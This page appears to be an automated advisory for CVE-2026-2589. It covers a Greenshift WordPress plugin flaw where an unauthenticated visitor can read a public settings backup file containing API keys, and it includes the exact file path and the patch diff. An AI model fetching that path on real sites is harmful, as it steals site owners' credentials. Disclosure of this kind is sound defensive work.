Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2589: Greenshift – animation and page builder blocks <= 12.8.3 – Unauthenticated Sensitive Information Exposure via Settings Backup (greenshift-animation-and-page-builder-blocks)

CVE ID CVE-2026-2589
Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 12.8.3
Patched Version 12.8.4
Disclosed March 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2589:
The vulnerability exists in the Greenshift WordPress plugin’s automated settings backup functionality. The plugin creates a backup file named ‘settings_backup.json’ in a publicly accessible directory. This file contains the complete plugin configuration, including sensitive API keys. The root cause is the backup creation process in the ‘gspb_save_global_settings’ function within init.php (lines 2830-2840). The function writes the entire settings array to a JSON file without authentication checks or access controls. The file is stored in the plugin’s upload directory, which is typically web-accessible. The patch modifies this function to exclude sensitive API keys before writing the backup. The keys excluded are ‘googleapi’, ‘turnstile_site_key’, ‘turnstile_secret_key’, ‘openaiapi’, ‘claudeapi’, ‘deepseekapi’, and ‘geminiapi’. The vulnerability allows unauthenticated attackers to retrieve API keys for OpenAI, Claude, Google Maps, Gemini, DeepSeek, and Cloudflare Turnstile services. Exploitation requires accessing the direct file URL, typically at /wp-content/uploads/greenshift/settings_backup.json. Successful exploitation exposes sensitive credentials that could lead to unauthorized API usage, financial loss, and account compromise.

Differential between vulnerable and patched code

Code Diff
--- a/greenshift-animation-and-page-builder-blocks/blockrender/element/block.php
+++ b/greenshift-animation-and-page-builder-blocks/blockrender/element/block.php
@@ -134,6 +134,7 @@
 			$supported_attributes[] = 'poster';
 			$supported_attributes[] = 'title';
 			$supported_attributes[] = 'icon';
+			$supported_attributes[] = 'className';
 			return $supported_attributes;
 		});

@@ -657,9 +658,9 @@
 				if(!empty($value['dynamicEnable']) && function_exists('GSPB_make_dynamic_text')){
 					$dynamicAttributes[$index]['value'] = GSPB_make_dynamic_text($dynamicAttributes[$index]['value'], $block['attrs'], $block, $value);
 				}else{
-					$value = sanitize_text_field($value['value']);
-					$dynamicAttributes[$index]['value'] = greenshift_dynamic_placeholders($value);
-					if(!empty($value['name']) && strpos($value['name'], 'on') === 0){
+					$sanitized_value = sanitize_text_field($value['value']);
+					$dynamicAttributes[$index]['value'] = greenshift_dynamic_placeholders($sanitized_value);
+					if(!empty($dynamicAttributes[$index]['name']) && strpos($dynamicAttributes[$index]['name'], 'on') === 0){
 						$dynamicAttributes[$index]['value'] = '';
 					}
 				}
@@ -874,7 +875,7 @@
 				if(!empty($overrides['textContent'])){
 					$html = str_replace($block['attrs']['textContent'], esc_html($overrides['textContent']), $html);
 				}
-				if(!empty($overrides['src']) || !empty($overrides['alt']) || !empty($overrides['href']) || !empty($overrides['title']) || !empty($overrides['poster'])){
+				if(!empty($overrides['src']) || !empty($overrides['alt']) || !empty($overrides['href']) || !empty($overrides['title']) || !empty($overrides['poster']) || !empty($overrides['className'])){
 					$p = new WP_HTML_Tag_Processor( $html );
 					$p->next_tag();
 					if(!empty($overrides['src'])){
@@ -892,6 +893,10 @@
 					if(!empty($overrides['poster'])){
 						$p->set_attribute( 'poster', esc_url($overrides['poster']));
 					}
+					if(!empty($overrides['className'])){
+						$idClass = !empty($block['attrs']['localId']) ? $block['attrs']['localId'] : '';
+						$p->set_attribute( 'class', esc_attr($overrides['className']).' '.$idClass);
+					}
 					$html = $p->get_updated_html();
 				}
 				// Handle icon override for SVG elements
--- a/greenshift-animation-and-page-builder-blocks/build/gspbLibrary.asset.php
+++ b/greenshift-animation-and-page-builder-blocks/build/gspbLibrary.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-rich-text'), 'version' => '79922cb5a397945c3d17');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-rich-text'), 'version' => '5d873f5ee2abd7e8e32e');
--- a/greenshift-animation-and-page-builder-blocks/build/gspbSiteEditor.asset.php
+++ b/greenshift-animation-and-page-builder-blocks/build/gspbSiteEditor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => 'd16d818f9c06cbce4cac');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => 'c675f65f1f5d2ecefa79');
--- a/greenshift-animation-and-page-builder-blocks/build/gspbStylebook.asset.php
+++ b/greenshift-animation-and-page-builder-blocks/build/gspbStylebook.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '622f4d7382b6b12cea74');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'd901e597bd902734f819');
--- a/greenshift-animation-and-page-builder-blocks/build/index.asset.php
+++ b/greenshift-animation-and-page-builder-blocks/build/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => 'bef74a4b537f97c10e44');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => 'd7cd673c444048345de1');
--- a/greenshift-animation-and-page-builder-blocks/includes/abilities.php
+++ b/greenshift-animation-and-page-builder-blocks/includes/abilities.php
@@ -0,0 +1,596 @@
+<?php
+/**
+ * WordPress Abilities API integration for GreenShift.
+ * Requires WordPress 6.9+.
+ *
+ * @package greenshift-animation-and-page-builder-blocks
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+// Backward compatibility: skip if Abilities API is not available.
+if ( ! class_exists( 'WP_Ability' ) ) {
+	return;
+}
+
+/**
+ * Register the GreenShift ability category.
+ */
+add_action( 'wp_abilities_api_categories_init', 'gspb_register_ability_category' );
+function gspb_register_ability_category( $registry ) {
+	wp_register_ability_category( 'greenshift', array(
+		'label'       => __( 'GreenShift', 'greenshift-animation-and-page-builder-blocks' ),
+		'description' => __( 'Design abilities provided by GreenShift – preset colors, element styles, custom colors, classes, and CSS variables.', 'greenshift-animation-and-page-builder-blocks' ),
+	) );
+}
+
+/**
+ * Register all GreenShift abilities.
+ */
+add_action( 'wp_abilities_api_init', 'gspb_register_abilities' );
+function gspb_register_abilities( $registry ) {
+
+	// ── 1. Preset Colors ────────────────────────────────────────────────
+
+	wp_register_ability( 'greenshift/get-preset-colors', array(
+		'label'               => __( 'Get Preset Colors', 'greenshift-animation-and-page-builder-blocks' ),
+		'description'         => __( 'Retrieves the GreenShift global preset color palette.', 'greenshift-animation-and-page-builder-blocks' ),
+		'category'            => 'greenshift',
+		'output_schema'       => array(
+			'type'        => 'object',
+			'description' => 'Key-value map of color names to color values (hex/rgb).',
+		),
+		'execute_callback'    => 'gspb_ability_get_preset_colors',
+		'permission_callback' => function () {
+			return current_user_can( 'edit_posts' );
+		},
+		'meta'                => array(
+			'show_in_rest' => true,
+			'annotations'  => array(
+				'readonly'   => true,
+				'idempotent' => true,
+			),
+		),
+	) );
+
+	wp_register_ability( 'greenshift/update-preset-colors', array(
+		'label'               => __( 'Update Preset Colors', 'greenshift-animation-and-page-builder-blocks' ),
+		'description'         => __( 'Merges new colors into the GreenShift global preset color palette.', 'greenshift-animation-and-page-builder-blocks' ),
+		'category'            => 'greenshift',
+		'input_schema'        => array(
+			'type'       => 'object',
+			'properties' => array(
+				'colors' => array(
+					'type'        => 'object',
+					'description' => 'Key-value map of color name to color value to set or merge.',
+				),
+			),
+			'required'   => array( 'colors' ),
+		),
+		'output_schema'       => array(
+			'type'        => 'object',
+			'description' => 'Operation result with success flag and updated colors.',
+		),
+		'execute_callback'    => 'gspb_ability_update_preset_colors',
+		'permission_callback' => function () {
+			return current_user_can( 'manage_options' );
+		},
+		'meta'                => array(
+			'show_in_rest' => true,
+			'annotations'  => array(
+				'idempotent' => true,
+			),
+		),
+	) );
+
+	// ── 2. Element Styles ───────────────────────────────────────────────
+
+	wp_register_ability( 'greenshift/get-element-styles', array(
+		'label'               => __( 'Get Element Styles', 'greenshift-animation-and-page-builder-blocks' ),
+		'description'         => __( 'Retrieves the GreenShift global element style definitions.', 'greenshift-animation-and-page-builder-blocks' ),
+		'category'            => 'greenshift',
+		'output_schema'       => array(
+			'type'        => 'array',
+			'description' => 'Array of element style definitions.',
+		),
+		'execute_callback'    => 'gspb_ability_get_element_styles',
+		'permission_callback' => function () {
+			return current_user_can( 'edit_posts' );
+		},
+		'meta'                => array(
+			'show_in_rest' => true,
+			'annotations'  => array(
+				'readonly'   => true,
+				'idempotent' => true,
+			),
+		),
+	) );
+
+	wp_register_ability( 'greenshift/update-element-styles', array(
+		'label'               => __( 'Update Element Styles', 'greenshift-animation-and-page-builder-blocks' ),
+		'description'         => __( 'Replaces the GreenShift global element style definitions.', 'greenshift-animation-and-page-builder-blocks' ),
+		'category'            => 'greenshift',
+		'input_schema'        => array(
+			'type'       => 'object',
+			'properties' => array(
+				'elements' => array(
+					'type'        => 'array',
+					'description' => 'Array of element style definitions to save.',
+				),
+			),
+			'required'   => array( 'elements' ),
+		),
+		'output_schema'       => array(
+			'type'        => 'object',
+			'description' => 'Operation result with success flag.',
+		),
+		'execute_callback'    => 'gspb_ability_update_element_styles',
+		'permission_callback' => function () {
+			return current_user_can( 'manage_options' );
+		},
+		'meta'                => array(
+			'show_in_rest' => true,
+			'annotations'  => array(
+				'idempotent' => true,
+			),
+		),
+	) );
+
+	// ── 3. Custom Colors (WP Global Theme Palette) ──────────────────────
+
+	wp_register_ability( 'greenshift/get-custom-colors', array(
+		'label'               => __( 'Get Custom Colors', 'greenshift-animation-and-page-builder-blocks' ),
+		'description'         => __( 'Retrieves the WordPress global theme color palette.', 'greenshift-animation-and-page-builder-blocks' ),
+		'category'            => 'greenshift',
+		'output_schema'       => array(
+			'type'        => 'array',
+			'description' => 'Array of theme color palette entries with name, slug, and color.',
+		),
+		'execute_callback'    => 'gspb_ability_get_custom_colors',
+		'permission_callback' => function () {
+			return current_user_can( 'edit_posts' );
+		},
+		'meta'                => array(
+			'show_in_rest' => true,
+			'annotations'  => array(
+				'readonly'   => true,
+				'idempotent' => true,
+			),
+		),
+	) );
+
+	wp_register_ability( 'greenshift/add-custom-colors', array(
+		'label'               => __( 'Add Custom Colors', 'greenshift-animation-and-page-builder-blocks' ),
+		'description'         => __( 'Adds or updates colors in the WordPress global theme color palette.', 'greenshift-animation-and-page-builder-blocks' ),
+		'category'            => 'greenshift',
+		'input_schema'        => array(
+			'type'       => 'object',
+			'properties' => array(
+				'colors' => array(
+					'type'        => 'array',
+					'description' => 'Array of color entries to add.',
+					'items'       => array(
+						'type'       => 'object',
+						'properties' => array(
+							'name'  => array(
+								'type'        => 'string',
+								'description' => 'Human-readable color name.',
+							),
+							'slug'  => array(
+								'type'        => 'string',
+								'description' => 'URL-safe slug for the color.',
+							),
+							'color' => array(
+								'type'        => 'string',
+								'description' => 'CSS color value.',
+							),
+						),
+						'required'   => array( 'name', 'slug', 'color' ),
+					),
+				),
+			),
+			'required'   => array( 'colors' ),
+		),
+		'output_schema'       => array(
+			'type'        => 'object',
+			'description' => 'Operation result with success flag.',
+		),
+		'execute_callback'    => 'gspb_ability_add_custom_colors',
+		'permission_callback' => function () {
+			return current_user_can( 'edit_posts' );
+		},
+		'meta'                => array(
+			'show_in_rest' => true,
+			'annotations'  => array(
+				'idempotent' => true,
+			),
+		),
+	) );
+
+	// ── 4. Custom Classes ───────────────────────────────────────────────
+
+	wp_register_ability( 'greenshift/get-custom-classes', array(
+		'label'               => __( 'Get Custom Classes', 'greenshift-animation-and-page-builder-blocks' ),
+		'description'         => __( 'Retrieves the GreenShift global custom CSS classes.', 'greenshift-animation-and-page-builder-blocks' ),
+		'category'            => 'greenshift',
+		'output_schema'       => array(
+			'type'        => 'array',
+			'description' => 'Array of custom class definitions.',
+		),
+		'execute_callback'    => 'gspb_ability_get_custom_classes',
+		'permission_callback' => function () {
+			return current_user_can( 'edit_posts' );
+		},
+		'meta'                => array(
+			'show_in_rest' => true,
+			'annotations'  => array(
+				'readonly'   => true,
+				'idempotent' => true,
+			),
+		),
+	) );
+
+	wp_register_ability( 'greenshift/add-custom-classes', array(
+		'label'               => __( 'Add Custom Classes', 'greenshift-animation-and-page-builder-blocks' ),
+		'description'         => __( 'Adds or updates GreenShift global custom CSS classes.', 'greenshift-animation-and-page-builder-blocks' ),
+		'category'            => 'greenshift',
+		'input_schema'        => array(
+			'type'       => 'object',
+			'properties' => array(
+				'classes' => array(
+					'type'        => 'array',
+					'description' => 'Array of class objects. "value" (class name) and "type" are required. Provide "css" with raw CSS rules for the class, "selectors" for sub-selector styles (e.g. hover, child elements), and "attributes" for stored block attributes.',
+					'items'       => array(
+						'type'       => 'object',
+						'properties' => array(
+							'value' => array(
+								'type'        => 'string',
+								'description' => 'CSS class name (e.g. "my-custom-class").',
+							),
+							'type' => array(
+								'type'        => 'string',
+								'description' => 'Class origin type: "global" (synced across site), "local" (page-scoped), "component" (reusable component), "classic" (plain className), or "custom" (framework class).',
+							),
+							'label' => array(
+								'type'        => 'string',
+								'description' => 'Human-readable label for the class (defaults to value).',
+							),
+							'css' => array(
+								'type'        => 'string',
+								'description' => 'Raw CSS rules for the class selector (e.g. "color: red; font-size: 16px;").',
+							),
+							'attributes' => array(
+								'type'        => 'object',
+								'description' => 'Stored block style attributes object for the class.',
+							),
+							'selectors' => array(
+								'type'        => 'array',
+								'description' => 'Array of sub-selector objects, each with "value" (CSS selector suffix like ":hover", " a", " .child"), "css" (rules for that selector), and optional "attributes".',
+							),
+						),
+						'required'   => array( 'value' ),
+					),
+				),
+			),
+			'required'   => array( 'classes' ),
+		),
+		'output_schema'       => array(
+			'type'        => 'object',
+			'description' => 'Operation result with success flag.',
+		),
+		'execute_callback'    => 'gspb_ability_add_custom_classes',
+		'permission_callback' => function () {
+			return current_user_can( 'manage_options' );
+		},
+		'meta'                => array(
+			'show_in_rest' => true,
+			'annotations'  => array(
+				'idempotent' => true,
+			),
+		),
+	) );
+
+	// ── 5. Custom CSS Variables ─────────────────────────────────────────
+
+	wp_register_ability( 'greenshift/get-custom-variables', array(
+		'label'               => __( 'Get Custom CSS Variables', 'greenshift-animation-and-page-builder-blocks' ),
+		'description'         => __( 'Retrieves the GreenShift global custom CSS code (may contain CSS variables).', 'greenshift-animation-and-page-builder-blocks' ),
+		'category'            => 'greenshift',
+		'output_schema'       => array(
+			'type'        => 'object',
+			'description' => 'Object containing the custom_css string.',
+		),
+		'execute_callback'    => 'gspb_ability_get_custom_variables',
+		'permission_callback' => function () {
+			return current_user_can( 'edit_posts' );
+		},
+		'meta'                => array(
+			'show_in_rest' => true,
+			'annotations'  => array(
+				'readonly'   => true,
+				'idempotent' => true,
+			),
+		),
+	) );
+
+	wp_register_ability( 'greenshift/update-custom-variables', array(
+		'label'               => __( 'Update Custom CSS Variables', 'greenshift-animation-and-page-builder-blocks' ),
+		'description'         => __( 'Updates the GreenShift global custom CSS code.', 'greenshift-animation-and-page-builder-blocks' ),
+		'category'            => 'greenshift',
+		'input_schema'        => array(
+			'type'       => 'object',
+			'properties' => array(
+				'custom_css' => array(
+					'type'        => 'string',
+					'description' => 'Full custom CSS string to save.',
+				),
+			),
+			'required'   => array( 'custom_css' ),
+		),
+		'output_schema'       => array(
+			'type'        => 'object',
+			'description' => 'Operation result with success flag.',
+		),
+		'execute_callback'    => 'gspb_ability_update_custom_variables',
+		'permission_callback' => function () {
+			return current_user_can( 'manage_options' );
+		},
+		'meta'                => array(
+			'show_in_rest' => true,
+			'annotations'  => array(
+				'idempotent' => true,
+			),
+		),
+	) );
+}
+
+
+// =====================================================================
+// Execute Callbacks
+// =====================================================================
+
+/**
+ * Get preset colors from gspb_global_settings.
+ */
+function gspb_ability_get_preset_colors() {
+	$settings = get_option( 'gspb_global_settings' );
+	$colours  = ! empty( $settings['colours'] ) ? $settings['colours'] : '{}';
+
+	if ( is_string( $colours ) ) {
+		$colours = json_decode( $colours, true );
+	}
+
+	return is_array( $colours ) ? $colours : array();
+}
+
+/**
+ * Update preset colors – merges into existing palette.
+ */
+function gspb_ability_update_preset_colors( $input ) {
+	$settings = get_option( 'gspb_global_settings' );
+	if ( ! is_array( $settings ) ) {
+		$settings = array();
+	}
+
+	$existing = ! empty( $settings['colours'] ) ? $settings['colours'] : '{}';
+	if ( is_string( $existing ) ) {
+		$existing = json_decode( $existing, true );
+	}
+	if ( ! is_array( $existing ) ) {
+		$existing = array();
+	}
+
+	foreach ( $input['colors'] as $name => $value ) {
+		$existing[ sanitize_text_field( $name ) ] = sanitize_text_field( $value );
+	}
+
+	$settings['colours'] = wp_json_encode( $existing );
+	update_option( 'gspb_global_settings', $settings );
+
+	return array(
+		'success' => true,
+		'colors'  => $existing,
+	);
+}
+
+/**
+ * Get element styles from gspb_global_settings.
+ */
+function gspb_ability_get_element_styles() {
+	$settings = get_option( 'gspb_global_settings' );
+	$elements = ! empty( $settings['elements'] ) ? $settings['elements'] : '[]';
+
+	if ( is_string( $elements ) ) {
+		$elements = json_decode( $elements, true );
+	}
+
+	return is_array( $elements ) ? $elements : array();
+}
+
+/**
+ * Update element styles – replaces the full list.
+ */
+function gspb_ability_update_element_styles( $input ) {
+	$settings = get_option( 'gspb_global_settings' );
+	if ( ! is_array( $settings ) ) {
+		$settings = array();
+	}
+
+	$settings['elements'] = wp_json_encode( $input['elements'] );
+	update_option( 'gspb_global_settings', $settings );
+
+	return array( 'success' => true );
+}
+
+/**
+ * Get custom colors from the WP global theme palette.
+ */
+function gspb_ability_get_custom_colors() {
+	$global   = wp_get_global_settings();
+	$palette  = ! empty( $global['color']['palette']['theme'] ) ? $global['color']['palette']['theme'] : array();
+
+	return $palette;
+}
+
+/**
+ * Add custom colors to the WP global theme palette.
+ * Reuses the same wp_global_styles storage logic as gspb_update_global_wp_settings().
+ */
+function gspb_ability_add_custom_colors( $input ) {
+	$global  = wp_get_global_settings();
+	$palette = ! empty( $global['color']['palette']['theme'] ) ? $global['color']['palette']['theme'] : array();
+
+	// Build slug index for dedup.
+	$slug_map = array();
+	foreach ( $palette as $idx => $entry ) {
+		if ( ! empty( $entry['slug'] ) ) {
+			$slug_map[ $entry['slug'] ] = $idx;
+		}
+	}
+
+	foreach ( $input['colors'] as $color ) {
+		$slug  = sanitize_title( $color['slug'] );
+		$entry = array(
+			'name'  => sanitize_text_field( $color['name'] ),
+			'slug'  => $slug,
+			'color' => sanitize_text_field( $color['color'] ),
+		);
+
+		if ( isset( $slug_map[ $slug ] ) ) {
+			$palette[ $slug_map[ $slug ] ] = $entry;
+		} else {
+			$palette[]          = $entry;
+			$slug_map[ $slug ]  = count( $palette ) - 1;
+		}
+	}
+
+	// Persist to wp_global_styles post (same approach as init.php).
+	$theme = wp_get_theme();
+	if ( $theme->parent_theme ) {
+		$template_dir = basename( get_template_directory() );
+		$theme        = wp_get_theme( $template_dir );
+	}
+	$themename = $theme->get( 'TextDomain' );
+
+	$post_type    = 'wp_global_styles';
+	$post_name    = 'wp-global-styles-' . $themename;
+	$styles_obj   = get_page_by_path( $post_name, OBJECT, $post_type );
+	$styles_id    = is_object( $styles_obj ) ? $styles_obj->ID : 0;
+
+	if ( $styles_id ) {
+		$content = json_decode( $styles_obj->post_content, true );
+		if ( empty( $content ) ) {
+			$content = array();
+		}
+		$content['settings']['color']['palette']['theme'] = $palette;
+		$content['isGlobalStylesUserThemeJSON']            = true;
+		$content['version']                                = 3;
+
+		wp_update_post( array(
+			'ID'           => $styles_id,
+			'post_name'    => $post_name,
+			'post_status'  => 'publish',
+			'post_title'   => $styles_obj->post_title,
+			'post_content' => wp_slash( wp_json_encode( $content ) ),
+		) );
+	} else {
+		$content = array(
+			'settings' => array(
+				'color' => array(
+					'palette' => array(
+						'theme' => $palette,
+					),
+				),
+			),
+			'isGlobalStylesUserThemeJSON' => true,
+			'version'                     => 3,
+		);
+
+		wp_insert_post( array(
+			'post_content' => wp_slash( wp_json_encode( $content ) ),
+			'post_status'  => 'publish',
+			'post_type'    => $post_type,
+			'post_name'    => $post_name,
+			'post_title'   => 'Custom Styles',
+		) );
+	}
+
+	return array(
+		'success' => true,
+		'palette' => $palette,
+	);
+}
+
+/**
+ * Get custom classes.
+ */
+function gspb_ability_get_custom_classes() {
+	$classes = get_option( 'greenshift_global_classes' );
+
+	return is_array( $classes ) ? $classes : array();
+}
+
+/**
+ * Add / update custom classes – merges by "value" key.
+ */
+function gspb_ability_add_custom_classes( $input ) {
+	$existing = get_option( 'greenshift_global_classes' );
+	if ( ! is_array( $existing ) ) {
+		$existing = array();
+	}
+
+	$value_map = array();
+	foreach ( $existing as $idx => $cls ) {
+		if ( ! empty( $cls['value'] ) ) {
+			$value_map[ $cls['value'] ] = $idx;
+		}
+	}
+
+	foreach ( $input['classes'] as $cls ) {
+		if ( empty( $cls['value'] ) ) {
+			continue;
+		}
+		$cls['value'] = sanitize_text_field( $cls['value'] );
+
+		if ( isset( $value_map[ $cls['value'] ] ) ) {
+			$existing[ $value_map[ $cls['value'] ] ] = $cls;
+		} else {
+			$existing[]                        = $cls;
+			$value_map[ $cls['value'] ]        = count( $existing ) - 1;
+		}
+	}
+
+	update_option( 'greenshift_global_classes', $existing );
+
+	return array(
+		'success' => true,
+		'classes' => $existing,
+	);
+}
+
+/**
+ * Get custom CSS variables / code.
+ */
+function gspb_ability_get_custom_variables() {
+	$settings   = get_option( 'gspb_global_settings' );
+	$custom_css = ! empty( $settings['custom_css'] ) ? $settings['custom_css'] : '';
+
+	return array( 'custom_css' => $custom_css );
+}
+
+/**
+ * Update custom CSS variables / code.
+ */
+function gspb_ability_update_custom_variables( $input ) {
+	$settings = get_option( 'gspb_global_settings' );
+	if ( ! is_array( $settings ) ) {
+		$settings = array();
+	}
+
+	$settings['custom_css'] = $input['custom_css'];
+	update_option( 'gspb_global_settings', $settings );
+
+	return array( 'success' => true );
+}
--- a/greenshift-animation-and-page-builder-blocks/init.php
+++ b/greenshift-animation-and-page-builder-blocks/init.php
@@ -75,6 +75,10 @@
 		$gspb_css_content = str_replace('@media (max-width: 991.98px)', '@media (max-width: ' . $get_breakpoints["desktop_down"] . 'px)', $gspb_css_content);
 	}

+	if (!empty($gspb_css_content)) {
+		$gspb_css_content = wp_strip_all_tags($gspb_css_content);
+	}
+
 	return apply_filters('gspb_get_final_css', $gspb_css_content);
 }

@@ -2830,7 +2834,25 @@
 		}

 		$gspb_json_filename = 'settings_backup.json';
-		$gspb_backup_data = json_encode( $settings, JSON_PRETTY_PRINT );
+
+		// Exclude API keys from backup
+		$backup_settings = $settings;
+		$keys_to_exclude = [
+			'googleapi',
+			'turnstile_site_key',
+			'turnstile_secret_key',
+			'openaiapi',
+			'claudeapi',
+			'deepseekapi',
+			'geminiapi'
+		];
+		foreach ($keys_to_exclude as $key) {
+			if (isset($backup_settings[$key])) {
+				unset($backup_settings[$key]);
+			}
+		}
+
+		$gspb_backup_data = json_encode( $backup_settings, JSON_PRETTY_PRINT );

 		if (!$wp_filesystem->put_contents($dir . $gspb_json_filename, $gspb_backup_data)) {
 			throw new Exception(__('JSON is not saved due the permission!!!', 'greenshift-animation-and-page-builder-blocks'));
--- a/greenshift-animation-and-page-builder-blocks/plugin.php
+++ b/greenshift-animation-and-page-builder-blocks/plugin.php
@@ -6,7 +6,7 @@
  * Author: Wpsoul
  * Author URI: https://greenshiftwp.com
  * Plugin URI: https://greenshiftwp.com
- * Version: 12.8.3
+ * Version: 12.8.4
  * Text Domain: greenshift-animation-and-page-builder-blocks
  * License: GPL2+
  * License URI: https://www.gnu.org/licenses/gpl-2.0.txt
@@ -178,6 +178,7 @@
 require_once GREENSHIFT_DIR_PATH . 'settings.php';
 require_once GREENSHIFT_DIR_PATH . 'includes/jsoptimization.php';
 require_once GREENSHIFT_DIR_PATH . 'includes/importer.php';
+require_once GREENSHIFT_DIR_PATH . 'includes/abilities.php';

 require_once GREENSHIFT_DIR_PATH . '/edd/edd_start.php';
 add_action('plugins_loaded', 'gspb_GreenShift_plugin_init');
--- a/greenshift-animation-and-page-builder-blocks/settings.php
+++ b/greenshift-animation-and-page-builder-blocks/settings.php
@@ -1076,23 +1076,14 @@
 																</td>
 																<td>
 																	<select name="openaiapimodel">
-																		<option value="gpt-5.1" <?php selected($openaiapimodel, 'gpt-5.1'); ?>> gpt-5.1 </option>
-																		<option value="gpt-4.1-mini" <?php selected($openaiapimodel, 'gpt-4.1-mini'); ?>> gpt-4.1-mini </option>
-																		<option value="gpt-5" <?php selected($openaiapimodel, 'gpt-5'); ?>> gpt-5 </option>
-																		<option value="gpt-5-mini" <?php selected($openaiapimodel, 'gpt-5-mini'); ?>> gpt-5-mini </option>
-																		<option value="gpt-5.2-pro" <?php selected($openaiapimodel, 'gpt-5.2-pro'); ?>> gpt-5.2-pro </option>
 																		<option value="gpt-5.2" <?php selected($openaiapimodel, 'gpt-5.2'); ?>> gpt-5.2 </option>
-																		<option value="o1" <?php selected($openaiapimodel, 'o1'); ?>> o1 </option>
-																		<option value="o1-mini" <?php selected($openaiapimodel, 'o1-mini'); ?>> o1-mini </option>
-																		<option value="o3" <?php selected($openaiapimodel, 'o3'); ?>> o3 </option>
-																		<option value="o1-pro" <?php selected($openaiapimodel, 'o1-pro'); ?>> o1-pro </option>
-																		<option value="o4-mini" <?php selected($openaiapimodel, 'o4-mini'); ?>> o4-mini </option>
+																		<option value="gpt-5.2-pro" <?php selected($openaiapimodel, 'gpt-5.2-pro'); ?>> gpt-5.2-pro </option>
 																		<option value="gemini-3-flash-preview" <?php selected($openaiapimodel, 'gemini-3-flash-preview'); ?>> gemini-3-flash-preview </option>
 																		<option value="gemini-2.5-flash" <?php selected($openaiapimodel, 'gemini-2.5-flash'); ?>> gemini-2.5-flash </option>
 																		<option value="gemini-3-pro-preview" <?php selected($openaiapimodel, 'gemini-3-pro-preview'); ?>> gemini-3-pro-preview </option>
-																		<option value="claude-sonnet-4-5" <?php selected($openaiapimodel, 'claude-sonnet-4-5'); ?>> claude-sonnet-4-5 </option>
+																		<option value="claude-sonnet-4-6" <?php selected($openaiapimodel, 'claude-sonnet-4-6'); ?>> claude-sonnet-4-6 </option>
 																		<option value="claude-haiku-4-5" <?php selected($openaiapimodel, 'claude-haiku-4-5'); ?>> claude-haiku-4-5 </option>
-																		<option value="claude-opus-4-5-20251101" <?php selected($openaiapimodel, 'claude-opus-4-5-20251101'); ?>> claude-opus-4-5-20251101 </option>
+																		<option value="claude-opus-4-6" <?php selected($openaiapimodel, 'claude-opus-4-6'); ?>> claude-opus-4-6 </option>
 																		<option value="deepseek-chat" <?php selected($openaiapimodel, 'deepseek-chat'); ?>> deepseek-chat </option>
 																	</select>
 																</td>
@@ -1103,19 +1094,15 @@
 																</td>
 																<td>
 																	<select name="aihelpermodel">
-																		<option value="gpt-5.1" <?php selected($aihelpermodel, 'gpt-5.1'); ?>> gpt-5.1 </option>
-																		<option value="gpt-4.1-mini" <?php selected($aihelpermodel, 'gpt-4.1-mini'); ?>> gpt-4.1-mini </option>
+																		<option value="gpt-5.2" <?php selected($aihelpermodel, 'gpt-5.2'); ?>> gpt-5.2 </option>
 																		<option value="gpt-5" <?php selected($aihelpermodel, 'gpt-5'); ?>> gpt-5 </option>
-																		<option value="gpt-5-mini" <?php selected($aihelpermodel, 'gpt-5-mini'); ?>> gpt-5-mini </option>
 																		<option value="gpt-5.2-pro" <?php selected($aihelpermodel, 'gpt-5.2-pro'); ?>> gpt-5.2-pro </option>
-																		<option value="o3" <?php selected($aihelpermodel, 'o3'); ?>> o3 </option>
-																		<option value="o4-mini" <?php selected($aihelpermodel, 'o4-mini'); ?>> o4-mini </option>
 																		<option value="gemini-3-flash-preview" <?php selected($aihelpermodel, 'gemini-3-flash-preview'); ?>> gemini-3-flash-preview </option>
 																		<option value="gemini-3-pro-preview" <?php selected($aihelpermodel, 'gemini-3-pro-preview'); ?>> gemini-3-pro-preview </option>
 																		<option value="gemini-2.5-flash" <?php selected($aihelpermodel, 'gemini-2.5-flash'); ?>> gemini-2.5-flash </option>
 																		<option value="claude-haiku-4-5" <?php selected($aihelpermodel, 'claude-haiku-4-5'); ?>> claude-haiku-4-5 </option>
-																		<option value="claude-sonnet-4-5" <?php selected($aihelpermodel, 'claude-sonnet-4-5'); ?>> claude-sonnet-4-5 </option>
-																		<option value="claude-opus-4-5-20251101" <?php selected($aihelpermodel, 'claude-opus-4-5-20251101'); ?>> claude-opus-4-5-20251101 </option>
+																		<option value="claude-sonnet-4-6" <?php selected($aihelpermodel, 'claude-sonnet-4-6'); ?>> claude-sonnet-4-6 </option>
+																		<option value="claude-opus-4-6" <?php selected($aihelpermodel, 'claude-opus-4-6'); ?>> claude-opus-4-6 </option>

 																	</select>
 																</td>
@@ -1128,7 +1115,7 @@
 																	<select name="aiimagemodel">
 																		<option value="gemini-2.5-flash-image-preview" <?php selected($aiimagemodel, 'gemini-2.5-flash-image-preview'); ?>> Google Flash 2.5 </option>
